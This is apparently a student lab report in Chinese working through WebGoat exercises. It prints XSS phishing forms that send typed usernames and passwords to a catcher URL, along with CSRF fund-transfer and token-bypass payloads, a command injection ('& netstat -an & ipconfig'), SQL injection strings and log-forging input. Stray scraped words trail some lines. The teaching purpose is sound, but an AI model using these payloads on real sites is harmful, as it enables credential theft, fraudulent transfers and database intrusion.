'
,--
,#
等特殊字符,實現引號閉合、註釋部分SQL語句,利用永真式實現登陸、顯示信息等目的。其實就是輸入框中的字符提交到後臺的數據庫中會與SQL語句組合拼接,若是猜想出後臺的SQL語句格式,而後有針對性的輸入,就能夠達到相應目的。返回目錄javascript
Webgoat是OWASP組織研究出的一個專門進行web漏洞實驗的應用品臺,這個平臺裏包含了web中常見的各類漏洞,例如:跨站腳本攻擊、sql注入、訪問控制、隱藏字段、Cookie等;html
最開始我下載的是官網最新版本,但操做中會出現一些問題,並且參考其餘同窗的博客,可能8.0.0版本的作完SQL就打不開了,因此在實際操做時,仍是應該用7.0.1版本的。java
①下載webgoat-container-7.0.1-war-exec.jar文件git
下載地址爲:https://github.com/WebGoat/WebGoat/releases ,在最下面的「The OWASP WebGoat 7.0.1 Release」中,選擇webgoat-container-7.0.1-war-exec.jar文件進行下載程序員
②終止佔用8080端口的其餘進程github
因WebGoat默認使用8080端口,因此開啓前先用netstat -tupln | grep 8080
查看端口是否被佔用,若是被佔用,用kill 進程號
終止佔用8080端口的進程。web
③開啓WebGoatsql
我開始使用的是8.0.0版本的WebGoat,後來換成了7.0.1版本,須要在含有「webgoat-container-7.0.1-war-exec.jar」文件的目錄下執行java -jar webgoat-container-7.0.1-war-exec.jar
數據庫
若是使用的是其餘版本的WebGoat,這個語句要根據文件名進行修改,例如:
java -jar webgoat-server-8.0.0.M14.jar
跨域
④瀏覽器打開WebGoat
跨站腳本攻擊是經過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,能夠模擬用戶當前的操做。這裏實驗的是一種獲取用戶名和密碼的攻擊.
①在webgoat找到Cross-Site Scripting (xss)攻擊打開第一個——Phishing with XSS
②將下面這段代碼輸入到"Search:"輸入框中,點擊search;
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
結果會出現代碼中所指定的綠、紅、藍三塊div,並在下方出現了用於欺騙用戶的提示語「This feature requires account login:」和用戶名、密碼輸入框。
③若是真的在登陸框中輸入用戶名、密碼,eg:20155312 1234,點擊登陸後,會像代碼中alert
提示的,顯示被竊取的用戶名和密碼。
存儲型XSS的攻擊基本流程:
- 好比在某個論壇提供留言板功能,黑客在留言板內插入惡意的html或者Javascript代碼,而且提交。
- 網站後臺程序將留言內容存儲在數據中
- 而後一個用戶也訪問這個論壇,並刷新了留言板,這時網站後臺從數據庫中讀取了以前黑客的留言內容,而且直接插入在html頁面中,這就可能致使:黑客留言的腳本自己應該做爲內容顯示在留言板的,但此時黑客的留言腳本被瀏覽器解釋執行。
黑客的腳本能夠用來作以下所述的攻擊:
1.經過javascript獲取用戶的cookie,根據這個cookie竊取用戶信息
2.重定向網站到一個釣魚網站
3.從新更改頁面內容,僞裝讓客戶輸入用戶名,密碼,而後提交到黑客的服務器
咱們就來試試第三個,獲取用戶名和密碼吧~
①打開Cross-Site Scripting (xss)攻擊中的第二個:Stored XSS Attacks
②在Message框中輸入上面那段代碼,並點擊submit,Title隨便輸入,我輸入了本身的學號
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
③提交後,下方「Message List」中會新增剛輸入的Tile名字的連接,點擊連接。
④能夠看到咱們的html已經注入成功,messege部分顯示的是綠、紅、藍三色框,在下方用戶名密碼處輸入,eg:20155312 12345,點擊提交後,被成功獲取用戶名和密碼:
反射型XSS:
咱們在訪問一個網頁的時候,在URL後面加上參數,服務器根據請求的參數值構造不一樣的HTML返回。
value可能出如今返回的HTML(多是JS,HTML某元素的內容或者屬性)中,
若是將value改爲能夠在瀏覽器中被解釋執行的東西,就造成了反射型XSS.
別人可能修改這個value值,而後將這個惡意的URL發送給你,當URL地址被打開時,
特有的惡意代碼參數就會被HTML解析執行.
它的特色是非持久化,必須用戶點擊帶有特定參數的連接才能引發。
存儲型XSS與反射型XSS的區別:
存儲型XSS,持久化,代碼是存儲在服務器中的,如在我的信息或發表文章等地方,加入代碼,若是沒有過濾或過濾不嚴,那麼這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易形成蠕蟲,盜竊cookie等。
反射型XSS,非持久化,須要欺騙用戶本身去點擊連接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),通常容易出如今搜索頁面。
①打開xss的第三個攻擊Reflected XSS Attacks
②在「Enter your three digit access code:」中輸入<script>alert("I am zjy");</script>
點擊Purchase,成功顯示警告框,內容爲咱們script腳本指定的內容:
④假如咱們輸入前面編寫的腳本,原理相同,一樣會成功:
<head> <body> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
CSRF攻擊介紹:
跨站請求僞造,儘管聽起來像跨站腳本(XSS),但它與XSS很是不一樣,XSS利用站點內的信任用戶,而CSRF則經過假裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊每每不大流行(所以對其進行防範的資源也至關稀少)和難以防範,因此被認爲比XSS更具危險性。
目標:此次攻擊向新聞組發送一封email。這個email包含一個image,其URL指向一個惡意請求。
① 打開Cross-Site Scripting (xss)攻擊中的第四個:Cross Site Request Forgery(CSRF)
②查看頁面下方Parameters中的src和menu值,分別爲280和900。
③在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=5000" width="1" height="1" />
,以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交
④提交後,在Message List中生成以Title命名的連接(消息)。點擊該消息,當前頁面就會下載這個消息並顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。
如圖所示,攻擊成功
① 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Prompt By-Pass
②同攻擊4,查看頁面下側Parameters中的src和menu值(268和900),並在title框中輸入學號,message框中輸入代碼:
<iframe src="attack?Screen=268&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=268&menu=900&transferFunds=CONFIRM"> </iframe>
④在Message List中生成以Title命名的連接"5"。
⑤點擊進入後,如圖攻擊成功:
目標:給新聞組發送包含惡意請求的 Email 實現資金轉帳。爲了成功完成欺騙,您須要得到一個驗證請求 Token。顯示轉帳表單的 URL 相似於 CSRF 課程 中使用的外部參數"transferFunds=main"。載入該頁面,讀取 Token 並追加到僞造請求中以實現資金轉帳。
① 打開Cross-Site Scripting (xss)攻擊中的第六個:① 打開Cross-Site Scripting (xss)攻擊中的第五個:CSRF Token By-Pass
②查看網站生成的資金轉帳頁面的表單內容。http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main
查看源代碼,看到Token參數
<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='#attack/296/900' enctype='application/x-www-form-urlencoded'> <input name='transferFunds' type='text' value='0'> <input name='CSRFToken' type='hidden' value='920130483'> <input type='submit'> </form>
由此能夠看到僞造命令須要提交CSRFToken參數,在一個 iframe 中載入頁面,而後從該 frame 中讀取出 Token。 下面查看網頁源代碼,找到 Token 參數。
從教程裏面找了段代碼, 經過 frame‐>form 的路徑能夠讀取並保存 CSRFToken 參數。
<script> var readToken = function(){ var doc = document.getElementById("frame1").contentDocument var token = doc.getElementsByName("CSRFToken")[0].getAttribute("value"); alert(token); var frame2 = document.getElementById("frame2"); frame2.src = "http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=4000&CSRFToken="+token; } </script> <iframe id="frame2" > </iframe> <iframe id="frame1" onload="readToken()" src="http://127.0.0.1:8080/WebGoat/attack?Screen=296&menu=900&transferFunds=main" > </iframe>
點擊Submit按道理會彈窗顯示Cookie,但我失敗了,並且對這個也不是十分理解,算了,在後面多作一個吧~
SQL注入攻擊是黑客對數據庫進行攻擊的經常使用手段之一。隨着B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也愈來愈多。可是因爲程序員的水平及經驗也良莠不齊,至關大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶能夠提交一段數據庫查詢代碼,根據程序返回的結果,得到某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
①點擊工具欄的firebug,也就是蟲子(bug),調試網頁源代碼。
②將複選框中任意一欄的代碼後添加"& netstat -an & ipconfig"
③點擊view,便可查看命令執行結果
目的是顯示全部城市的天氣狀況
①點擊左側Injection Flaws中的第二個:Numeric SQL Injection
②咱們看到這一題的選擇框是一個下拉框,咱們使用BurpSuite抓包修改。
③在桌面上找到下圖圖標,打開BurpSuite:
④打開一個臨時工程:Temporary Project->使用默認的Burp:Use Burp Default->Start Burp
⑤在BurpSuite中依次選擇Proxy->Options->Add,添加端口5312,其餘默認,點擊OK
⑥點擊確認後會在Options下增長一行,勾選新造成的這一行
⑦點擊瀏覽器右上方的「Open Menu」選項卡,選擇preference
⑧在頁面左側選擇advanced,選擇network頁標籤,在connection那一行選擇settings…
⑨在彈出的窗口中選擇第4個:Manual proxy configuration,設置代理服務器和端口(要與BurpSuite中綁定的一致,如5312),點擊OK
⑩設置好代理後回到題目頁面,點擊Go!
[注]:一旦設置好代理,就無法正常聯網了。因此在此以前須要作完第一步,即打開攻擊的網頁。
進入BurpSuite,設置好代理後回到題目頁面,點擊Go,而後進入BurpSuite中依次選擇Proxy->Intercept,能夠看到已經抓到了包:
在該頁面上右鍵,選擇send to repeater
在頁面上方選擇Reapter->Params,而後把station的值改成101 or 1=1
,點擊"Go"運行,查看右側Response部分的HTML標籤中,按道理SQL語句應該爲:SELECT * FROM weather_data WHERE station = 101 or 1=1
但個人提示是這樣的:
<pre>SELECT * FROM weather_data WHERE station = ?</pre> <p>Error parsing station as a number: For input string: "101 or 1=1"</form></div>
點擊上方Proxy->Intercept中點擊「Intercept is on」對剩下的包不做處理
回到火狐發現左側裂變已經出現綠對勾顯示成功,下方提示也是「SELECT * FROM weather_data WHERE station = ?」,無法該成101 or 1=1。
嘗試解決:用Firebug直接在網頁中修改,試了不少次也都不行,最後分析緣由是我修改的位置不對,修改了
中顯示的SQL語句,但對後臺的SQL的語句並無修改,因此從新修改複選框中的option中的value,在任意一個數字,例如103後面添加or 1=1
,從新嘗試:
最後結果不盡人意,仍是不行:
我懷疑是個人WebGoat中這個題目自己存在一些問題,由於即便正常選擇城市,Select中一樣會顯示問號
經過查看下方灰色區域,咱們分析它表明在 Web 服務器的日誌中的記錄的內容。
目的:使用戶名爲「admin」 的用戶在日誌中顯示「成功登陸」。
方法:經過在日誌文件中插入腳本實現。
①在username中填入5312%0d%0aLogin Succeeded for username: admin
,利用回車(0D%)和換行符(%0A)讓其在日誌中兩行顯示
②點擊Login,可見5312在Login Fail那行顯示,咱們本身添加的語句在下一行顯示:
③進而,咱們思考,能夠向日志文件中添加惡意腳本,腳本的返回信息管理員可以經過瀏覽器看到。
用戶名輸入admin <script>alert(document.cookie)</script>
,管理員能夠看到彈窗的cookie信息。
目的:嘗試經過 SQL 注入將全部信用卡信息顯示出來。
方法:基於如下查詢語句構造本身的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
。
①選擇Injection Flaws中的String SQL Injection
②輸入查詢的用戶名Smith' or 1=1--
這樣Smith 和1=1都成了查詢的條件,而1=1是恆等式,這樣就能select表裏面的全部數據。
①在密碼框輸入' or 1=1 --
,登陸失敗用Firebug查看網頁源碼,發現密碼長度有限制
②將密碼長度maxlength改成100,再次嘗試,登陸成功:
這是除了免考項目的最後一個實驗了,一學期的課程眼看要接近尾聲,心中對老師甚是不捨,哈哈哈哈,最重要的是,經過九次實驗確實加強了動手實踐能力,對網絡攻擊與防範有了更深層次的認識。
說些題外話,但願本身之後可以在學習、工做的過程當中可以享受生活、熱愛生活,像老師同樣活得瀟灑一些,多作作本身熱愛的事,青春才能不留遺憾。